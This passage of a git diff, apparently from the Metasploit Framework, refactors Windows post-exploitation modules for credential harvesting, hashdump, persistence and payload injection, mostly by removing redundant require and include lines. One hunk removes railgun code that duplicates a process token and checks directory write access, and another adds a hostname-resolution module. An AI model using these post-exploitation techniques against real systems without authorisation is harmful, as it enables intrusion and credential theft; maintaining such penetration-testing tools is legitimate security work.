a/modules/post/windows/gather/credentials/tortoisesvn.rb +++ b/modules/post/windows/gather/credentials/tortoisesvn.rb @@ -7,8 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/priv' -require 'msf/core/post/windows/registry' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/total_commander.rb b/modules/post/windows/gather/credentials/total_commander.rb index 9fa0e21651..00b7ac62c1 100644 --- a/modules/post/windows/gather/credentials/total_commander.rb +++ b/modules/post/windows/gather/credentials/total_commander.rb @@ -8,10 +8,7 @@ require 'msf/core' require 'rex' require 'rex/parser/ini' -require 'msf/core/post/windows/user_profiles' -require 'msf/core/post/windows/registry' require 'msf/core/auxiliary/report' -require 'msf/core/post/file' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/trillian.rb b/modules/post/windows/gather/credentials/trillian.rb index e680924784..1536fd6c4d 100644 --- a/modules/post/windows/gather/credentials/trillian.rb +++ b/modules/post/windows/gather/credentials/trillian.rb @@ -8,8 +8,6 @@ require 'msf/core' require 'rex' require 'rex/parser/ini' -require 'msf/core/post/windows/user_profiles' -require 'msf/core/post/windows/registry' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/vnc.rb b/modules/post/windows/gather/credentials/vnc.rb index a7eabbf863..899f7f9e6c 100644 --- a/modules/post/windows/gather/credentials/vnc.rb +++ b/modules/post/windows/gather/credentials/vnc.rb @@ -9,8 +9,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/user_profiles' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/credentials/windows_autologin.rb b/modules/post/windows/gather/credentials/windows_autologin.rb index b87bff49eb..960f3692da 100644 --- a/modules/post/windows/gather/credentials/windows_autologin.rb +++ b/modules/post/windows/gather/credentials/windows_autologin.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/windows/registry' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/winscp.rb b/modules/post/windows/gather/credentials/winscp.rb index a69de7e707..406a6a0fbf 100644 --- a/modules/post/windows/gather/credentials/winscp.rb +++ b/modules/post/windows/gather/credentials/winscp.rb @@ -9,9 +9,7 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' require 'rex/parser/ini' -require 'msf/core/post/windows/user_profiles' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/credentials/wsftp_client.rb b/modules/post/windows/gather/credentials/wsftp_client.rb index 79f4fe1554..42eb6917c0 100644 --- a/modules/post/windows/gather/credentials/wsftp_client.rb +++ b/modules/post/windows/gather/credentials/wsftp_client.rb @@ -8,8 +8,6 @@ require 'msf/core' require 'rex' require 'rex/parser/ini' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/user_profiles' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/dumplinks.rb b/modules/post/windows/gather/dumplinks.rb index 9adb684883..c37397fc58 100644 --- a/modules/post/windows/gather/dumplinks.rb +++ b/modules/post/windows/gather/dumplinks.rb @@ -7,14 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/windows/priv' -require 'msf/core/post/windows/accounts' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv - include Msf::Post::Common include Msf::Post::Windows::Accounts def initialize(info={}) diff --git a/modules/post/windows/gather/enum_applications.rb b/modules/post/windows/gather/enum_applications.rb index b03c9400d7..f3c3819c4f 100644 --- a/modules/post/windows/gather/enum_applications.rb +++ b/modules/post/windows/gather/enum_applications.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/enum_artifacts.rb b/modules/post/windows/gather/enum_artifacts.rb index c04da92658..f153ecfc4c 100644 --- a/modules/post/windows/gather/enum_artifacts.rb +++ b/modules/post/windows/gather/enum_artifacts.rb @@ -7,8 +7,6 @@ require 'rex' require 'msf/core' -require 'msf/core/post/file' -require 'msf/core/post/windows/registry' require 'yaml' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/enum_chrome.rb b/modules/post/windows/gather/enum_chrome.rb index a6846918fc..a0e74aa165 100644 --- a/modules/post/windows/gather/enum_chrome.rb +++ b/modules/post/windows/gather/enum_chrome.rb @@ -7,8 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/file' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/enum_computers.rb b/modules/post/windows/gather/enum_computers.rb index 1e7cf2e0ae..24cb2496e3 100644 --- a/modules/post/windows/gather/enum_computers.rb +++ b/modules/post/windows/gather/enum_computers.rb @@ -8,15 +8,8 @@ require 'msf/core' require 'rex' -# Multi platform requiere -require 'msf/core/post/common' -require 'msf/core/post/file' - -require 'msf/core/post/windows/registry' - class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Registry diff --git a/modules/post/windows/gather/enum_db.rb b/modules/post/windows/gather/enum_db.rb index 0897578634..55e2efad2a 100644 --- a/modules/post/windows/gather/enum_db.rb +++ b/modules/post/windows/gather/enum_db.rb @@ -7,15 +7,11 @@ require 'rex' require 'msf/core' -require 'msf/core/post/file' -require 'msf/core/post/common' -require 'msf/core/post/windows/registry' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post include Msf::Post::File - include Msf::Post::Common include Msf::Post::Windows::Registry include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/enum_devices.rb b/modules/post/windows/gather/enum_devices.rb index dfecf44414..2f08c7e451 100644 --- a/modules/post/windows/gather/enum_devices.rb +++ b/modules/post/windows/gather/enum_devices.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb index b317e3007c..06801f4f15 100644 --- a/modules/post/windows/gather/enum_dirperms.rb +++ b/modules/post/windows/gather/enum_dirperms.rb @@ -6,11 +6,10 @@ ## require 'msf/core' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common + include Msf::Post::Windows::Accounts def initialize(info={}) super(update_info(info, @@ -40,60 +39,6 @@ class Metasploit3 < Msf::Post ], self.class) end - def get_imperstoken - adv = session.railgun.advapi32 - tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " - tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" - tok_all << " | TOKEN_ADJUST_DEFAULT" - - #get impersonation token handle it["DuplicateTokenhandle"] carries this value - #p = kern.GetCurrentProcess() #get handle to current process - pid = session.sys.process.open.pid - pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) - pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token - it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token - if it["return"] #if it fails return 0 for error handling - return it["DuplicateTokenHandle"] - else - return 0 - end - end - - def check_dir(dir, token) - # If path doesn't exist, do not continue - begin - session.fs.dir.entries(dir) - rescue => e - vprint_error("#{e.message}: #{dir}") - return nil - end - - adv = session.railgun.advapi32 - si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" - result = "" - - #define generic mapping structure - gen_map = [0,0,0,0] - gen_map = gen_map.pack("L") - - #get Security Descriptor for the directory - f = adv.GetFileSecurityA(dir, si, 20, 20, 4) - f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) - sd = f["pSecurityDescriptor"] - - #check for write access, called once to get buffer size - a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) - len = a["PrivilegeSetLength"] - - r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) - if !r["return"] then return nil end - if r["GrantedAccess"] > 0 then result << "R" end - - w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) - if !w["return"] then return nil end - if w["GrantedAccess"] > 0 then result << "W" end - end - def enum_subdirs(perm_filter, dpath, maxdepth, token) filter = datastore['FILTER'] filter = nil if datastore['FILTER'] == 'NA' @@ -110,7 +55,7 @@ class Metasploit3 < Msf::Post next if d =~ /^(\.|\.\.)$/ realpath = dpath + '\\' + d if session.fs.file.stat(realpath).directory? - perm = check_dir(realpath, token) + perm = check_dir_perms(realpath, token) if perm_filter and perm and perm.include?(perm_filter) print_status(perm + "\t" + realpath) end @@ -144,7 +89,7 @@ class Metasploit3 < Msf::Post t = get_imperstoken() rescue ::Exception => e # Failure due to timeout, access denied, etc. - t = 0 + t = nil vprint_error("Error #{e.message} while using get_imperstoken()") vprint_error(e.backtrace) end @@ -158,7 +103,7 @@ class Metasploit3 < Msf::Post print_status("Checking directory permissions from: #{path}") - perm = check_dir(path, token) + perm = check_dir_perms(path, token) if not perm.nil? # Show the permission of the parent directory if perm_filter and perm.include?(perm_filter) @@ -188,7 +133,7 @@ class Metasploit3 < Msf::Post t = get_token - if t == 0 + unless t print_error("Getting impersonation token failed") else print_status("Got token: #{t.to_s}...") diff --git a/modules/post/windows/gather/enum_domain.rb b/modules/post/windows/gather/enum_domain.rb index 4fd4cb08cb..22870352a4 100644 --- a/modules/post/windows/gather/enum_domain.rb +++ b/modules/post/windows/gather/enum_domain.rb @@ -6,12 +6,9 @@ ## require 'msf/core' -require 'msf/core/post/windows/priv' -require 'msf/core/post/common' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv - include Msf::Post::Common def initialize(info={}) super(update_info(info, diff --git a/modules/post/windows/gather/enum_domain_group_users.rb b/modules/post/windows/gather/enum_domain_group_users.rb index b6a04644a1..143b2172b6 100644 --- a/modules/post/windows/gather/enum_domain_group_users.rb +++ b/modules/post/windows/gather/enum_domain_group_users.rb @@ -7,12 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common - def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Enumerate Domain Group', diff --git a/modules/post/windows/gather/enum_domain_tokens.rb b/modules/post/windows/gather/enum_domain_tokens.rb index dc55c8a9e6..9254da26a1 100644 --- a/modules/post/windows/gather/enum_domain_tokens.rb +++ b/modules/post/windows/gather/enum_domain_tokens.rb @@ -8,15 +8,8 @@ require 'msf/core' require 'rex' -# Multi platform requiere -require 'msf/core/post/common' -require 'msf/core/post/file' - -require 'msf/core/post/windows/registry' - class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Registry diff --git a/modules/post/windows/gather/enum_files.rb b/modules/post/windows/gather/enum_files.rb index fc5dce91dd..a42b4e6ff0 100644 --- a/modules/post/windows/gather/enum_files.rb +++ b/modules/post/windows/gather/enum_files.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/file' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/enum_ie.rb b/modules/post/windows/gather/enum_ie.rb index 3e687ef1ce..2f89250c30 100644 --- a/modules/post/windows/gather/enum_ie.rb +++ b/modules/post/windows/gather/enum_ie.rb @@ -7,8 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/file' -require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/enum_logged_on_users.rb b/modules/post/windows/gather/enum_logged_on_users.rb index 3538fd01b2..f0baf7cb7a 100644 --- a/modules/post/windows/gather/enum_logged_on_users.rb +++ b/modules/post/windows/gather/enum_logged_on_users.rb @@ -7,8 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/accounts' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/enum_ms_product_keys.rb b/modules/post/windows/gather/enum_ms_product_keys.rb index 312766ee08..7d7c306024 100644 --- a/modules/post/windows/gather/enum_ms_product_keys.rb +++ b/modules/post/windows/gather/enum_ms_product_keys.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/enum_powershell_env.rb b/modules/post/windows/gather/enum_powershell_env.rb index d426d6599f..704269b45b 100644 --- a/modules/post/windows/gather/enum_powershell_env.rb +++ b/modules/post/windows/gather/enum_powershell_env.rb @@ -7,8 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 8bdff4386d..e2ff205879 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post include Msf::Post::File diff --git a/modules/post/windows/gather/enum_proxy.rb b/modules/post/windows/gather/enum_proxy.rb index 9dc1322233..28047faee3 100644 --- a/modules/post/windows/gather/enum_proxy.rb +++ b/modules/post/windows/gather/enum_proxy.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/windows/services' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/enum_services.rb b/modules/post/windows/gather/enum_services.rb index 3320dd5001..5556023238 100644 --- a/modules/post/windows/gather/enum_services.rb +++ b/modules/post/windows/gather/enum_services.rb @@ -8,7 +8,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/services' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/enum_shares.rb b/modules/post/windows/gather/enum_shares.rb index 8fc02087a4..29475a5f42 100644 --- a/modules/post/windows/gather/enum_shares.rb +++ b/modules/post/windows/gather/enum_shares.rb @@ -7,8 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/enum_snmp.rb b/modules/post/windows/gather/enum_snmp.rb index 1321ffc2ca..3cd0289aab 100644 --- a/modules/post/windows/gather/enum_snmp.rb +++ b/modules/post/windows/gather/enum_snmp.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/enum_termserv.rb b/modules/post/windows/gather/enum_termserv.rb index b5af34b727..de7330cb81 100644 --- a/modules/post/windows/gather/enum_termserv.rb +++ b/modules/post/windows/gather/enum_termserv.rb @@ -9,8 +9,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/user_profiles' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/enum_tokens.rb b/modules/post/windows/gather/enum_tokens.rb index 1a622fed24..524dd62fc8 100644 --- a/modules/post/windows/gather/enum_tokens.rb +++ b/modules/post/windows/gather/enum_tokens.rb @@ -6,12 +6,9 @@ ## require 'msf/core' -require 'msf/core/post/windows/priv' -require 'msf/core/post/common' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv - include Msf::Post::Common def initialize(info={}) super(update_info(info, diff --git a/modules/post/windows/gather/enum_tomcat.rb b/modules/post/windows/gather/enum_tomcat.rb index 7096fa0262..e3040ad486 100644 --- a/modules/post/windows/gather/enum_tomcat.rb +++ b/modules/post/windows/gather/enum_tomcat.rb @@ -8,15 +8,11 @@ require 'rex' require 'rexml/document' require 'msf/core' -require 'msf/core/post/file' -require 'msf/core/post/common' -require 'msf/core/post/windows/registry' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post include Msf::Post::File - include Msf::Post::Common include Msf::Post::Windows::Registry include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index 99e6268b8f..4710c649af 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/file' require 'rex/parser/unattend' require 'rexml/document' diff --git a/modules/post/windows/gather/forensics/duqu_check.rb b/modules/post/windows/gather/forensics/duqu_check.rb index c1a77afd6c..3b33d17f7a 100644 --- a/modules/post/windows/gather/forensics/duqu_check.rb +++ b/modules/post/windows/gather/forensics/duqu_check.rb @@ -6,14 +6,10 @@ ## require 'msf/core' -require 'msf/core/post/common' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/priv' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::Windows::Registry include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/hashdump.rb b/modules/post/windows/gather/hashdump.rb index e676fbc0d8..07f6662105 100644 --- a/modules/post/windows/gather/hashdump.rb +++ b/modules/post/windows/gather/hashdump.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb index 618f9a462d..4014862ff8 100644 --- a/modules/post/windows/gather/local_admin_search_enum.rb +++ b/modules/post/windows/gather/local_admin_search_enum.rb @@ -8,14 +8,12 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner - include Msf::Post::Common def initialize(info={}) super(update_info(info, diff --git a/modules/post/windows/gather/netlm_downgrade.rb b/modules/post/windows/gather/netlm_downgrade.rb index 03185ee9ee..ec76b7ae52 100644 --- a/modules/post/windows/gather/netlm_downgrade.rb +++ b/modules/post/windows/gather/netlm_downgrade.rb @@ -7,15 +7,11 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/services' -require 'msf/core/post/common' class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::WindowsServices - include Msf::Post::Common include Msf::Post::Windows::Priv def initialize(info={}) diff --git a/modules/post/windows/gather/resolve_hosts.rb b/modules/post/windows/gather/resolve_hosts.rb new file mode 100644 index 0000000000..7d30a34469 --- /dev/null +++ b/modules/post/windows/gather/resolve_hosts.rb @@ -0,0 +1,63 @@ +# +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Resolve Hosts', + 'Description' => %q{ + Resolves hostnames to either IPv4 or IPv6 addresses. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell ' ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options([ + OptString.new('HOSTNAMES', [true, 'Comma seperated list of hostnames to resolve.']), + OptEnum.new('AI_FAMILY', [true, 'Address Family', 'IPv4', ['IPv4', 'IPv6'] ]) + ], self.class) + end + + def run + hosts = datastore['HOSTNAMES'].split(',') + + if datastore['AI_FAMILY'] == 'IPv4' + family = AF_INET + else + family = AF_INET6 + end + + # Clear whitespace + hosts.collect{|x| x.strip!} + + print_status("Attempting to resolve '#{hosts.join(', ')}' on #{sysinfo['Computer']}") if not sysinfo.nil? + + response = client.net.resolve.resolve_hosts(hosts, family) + + table = Rex::Ui::Text::Table.new( + 'Indent' => 0, + 'SortIndex' => -1, + 'Columns' => + [ + 'Hostname', + 'IP', + ] + ) + + response.each do |result| + table << [result[:hostname], result[:ip]] + end + + table.print + end +end diff --git a/modules/post/windows/gather/resolve_sid.rb b/modules/post/windows/gather/resolve_sid.rb index e7c6e0453b..6d824d3a21 100644 --- a/modules/post/windows/gather/resolve_sid.rb +++ b/modules/post/windows/gather/resolve_sid.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/windows/accounts' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index 1c6a5264cd..15c417c1e8 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -7,21 +7,15 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/windows/priv' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/accounts' -require 'msf/core/post/file' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post - include Msf::Post::Common + include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry include Msf::Post::Windows::Accounts include Msf::Auxiliary::Report - include Msf::Post::File def initialize(info={}) super( update_info( info, diff --git a/modules/post/windows/gather/tcpnetstat.rb b/modules/post/windows/gather/tcpnetstat.rb index c941266add..456c4e0762 100644 --- a/modules/post/windows/gather/tcpnetstat.rb +++ b/modules/post/windows/gather/tcpnetstat.rb @@ -7,16 +7,12 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' require 'msf/core/auxiliary/report' - class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Auxiliary::Report - def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather TCP Netstat', diff --git a/modules/post/windows/gather/usb_history.rb b/modules/post/windows/gather/usb_history.rb index b40e5acef7..3c941e67f0 100644 --- a/modules/post/windows/gather/usb_history.rb +++ b/modules/post/windows/gather/usb_history.rb @@ -7,14 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv - include Msf::Post::Common - def initialize(info={}) super( update_info( info, diff --git a/modules/post/windows/gather/win_privs.rb b/modules/post/windows/gather/win_privs.rb index 618c5366b8..14f101063a 100644 --- a/modules/post/windows/gather/win_privs.rb +++ b/modules/post/windows/gather/win_privs.rb @@ -7,12 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/priv' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::Windows::Priv def initialize(info={}) diff --git a/modules/post/windows/gather/wmic_command.rb b/modules/post/windows/gather/wmic_command.rb index 3ff5e51274..a31bf84df2 100644 --- a/modules/post/windows/gather/wmic_command.rb +++ b/modules/post/windows/gather/wmic_command.rb @@ -7,12 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common - def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Run Specified WMIC Command', diff --git a/modules/post/windows/gather/word_unc_injector.rb b/modules/post/windows/gather/word_unc_injector.rb index 47e6bca6ab..c8e3c882eb 100644 --- a/modules/post/windows/gather/word_unc_injector.rb +++ b/modules/post/windows/gather/word_unc_injector.rb @@ -6,10 +6,8 @@ ## require 'msf/core' -require 'msf/core/post/file' require 'zip/zip' #for extracting files require 'rex/zip' #for creating files -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/manage/add_user_domain.rb b/modules/post/windows/manage/add_user_domain.rb index ef99eecffd..1c7de7c134 100644 --- a/modules/post/windows/manage/add_user_domain.rb +++ b/modules/post/windows/manage/add_user_domain.rb @@ -7,12 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::Windows::Priv def initialize(info={}) diff --git a/modules/post/windows/manage/delete_user.rb b/modules/post/windows/manage/delete_user.rb index 6ac1ba04ad..27133ed846 100644 --- a/modules/post/windows/manage/delete_user.rb +++ b/modules/post/windows/manage/delete_user.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/windows/accounts' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/manage/download_exec.rb b/modules/post/windows/manage/download_exec.rb index 706837d4f6..0e19072144 100644 --- a/modules/post/windows/manage/download_exec.rb +++ b/modules/post/windows/manage/download_exec.rb @@ -7,13 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/file' -require 'msf/core/post/common' class Metasploit3 < Msf::Post include Msf::Post::File - include Msf::Post::Common def initialize(info={}) super(update_info(info, diff --git a/modules/post/windows/manage/enable_rdp.rb b/modules/post/windows/manage/enable_rdp.rb index 93af392f69..8c8015b03f 100644 --- a/modules/post/windows/manage/enable_rdp.rb +++ b/modules/post/windows/manage/enable_rdp.rb @@ -6,12 +6,6 @@ ## require 'msf/core' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/windows/accounts' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/services' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post @@ -19,7 +13,6 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::Services include Msf::Post::Windows::Priv - include Msf::Post::Common include Msf::Post::File def initialize(info={}) diff --git a/modules/post/windows/manage/enable_support_account.rb b/modules/post/windows/manage/enable_support_account.rb index 6d17ef135a..c5a949c3f6 100644 --- a/modules/post/windows/manage/enable_support_account.rb +++ b/modules/post/windows/manage/enable_support_account.rb @@ -1,15 +1,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/priv' -require 'msf/core/post/common' - class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::Priv - include Msf::Post::Common def initialize(info={}) super( update_info( info, diff --git a/modules/post/windows/manage/migrate.rb b/modules/post/windows/manage/migrate.rb index 38832e557d..070192f213 100644 --- a/modules/post/windows/manage/migrate.rb +++ b/modules/post/windows/manage/migrate.rb @@ -7,12 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common - def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Process Migration', diff --git a/modules/post/windows/manage/mssql_local_auth_bypass.rb b/modules/post/windows/manage/mssql_local_auth_bypass.rb index 008a8272e1..b8ea095cd4 100644 --- a/modules/post/windows/manage/mssql_local_auth_bypass.rb +++ b/modules/post/windows/manage/mssql_local_auth_bypass.rb @@ -7,9 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/windows/priv' -require 'msf/core/post/file' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/manage/payload_inject.rb b/modules/post/windows/manage/payload_inject.rb index 9e2ae93929..8985a7465c 100644 --- a/modules/post/windows/manage/payload_inject.rb +++ b/modules/post/windows/manage/payload_inject.rb @@ -7,12 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common - def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Memory Payload Injection Module', diff --git a/modules/post/windows/manage/persistence.rb b/modules/post/windows/manage/persistence.rb index c800efe776..60b3f14f6e 100644 --- a/modules/post/windows/manage/persistence.rb +++ b/modules/post/windows/manage/persistence.rb @@ -7,15 +7,12 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/windows/priv' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/services' class Metasploit3 < Msf::Post + require 'msf/core/module/deprecated' + include Msf::Module::Deprecated + deprecated Date.new(2013, 11, 12), 'exploit/windows/local/persistence' - include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 0a87f247b6..c0987aaf72 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -6,9 +6,7 @@ ## class Metasploit3 < Msf::Post - include Msf::Post::Windows::Priv - include Msf::Post::Common def initialize(info={}) super( update_info( info, @@ -126,4 +124,4 @@ class Metasploit3 < Msf::Post print_error("There was an error enabling the port.") end end -end \ No newline at end of file +end diff --git a/modules/post/windows/manage/powershell/exec_powershell.rb b/modules/post/windows/manage/powershell/exec_powershell.rb index ae315e7dc0..061f898ce6 100644 --- a/modules/post/windows/manage/powershell/exec_powershell.rb +++ b/modules/post/windows/manage/powershell/exec_powershell.rb @@ -18,7 +18,6 @@ require 'zlib' # TODO: check if this can be done with REX require 'msf/core' require 'rex' -require 'msf/core/post/windows/powershell' class Metasploit3 < Msf::Post include Msf::Post::Windows::Powershell diff --git a/modules/post/windows/manage/pptp_tunnel.rb b/modules/post/windows/manage/pptp_tunnel.rb index 3e58d1a4dd..6389429fc9 100644 --- a/modules/post/windows/manage/pptp_tunnel.rb +++ b/modules/post/windows/manage/pptp_tunnel.rb @@ -5,13 +5,8 @@ # http://metasploit.com/framework/ ## -require 'msf/core/post/common' -require 'msf/core/post/windows/priv' -require 'msf/core/post/windows/registry' - class Metasploit3 < Msf::Post - include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry diff --git a/modules/post/windows/manage/reflective_dll_inject.rb b/modules/post/windows/manage/reflective_dll_inject.rb index 9225e4aad6..1e63779725 100644 --- a/modules/post/windows/manage/reflective_dll_inject.rb +++ b/modules/post/windows/manage/reflective_dll_inject.rb @@ -7,12 +7,9 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' class Metasploit3 < Msf::Post - include Msf::Post::Common - def initialize(info={}) super( update_info( info, 'Name' => 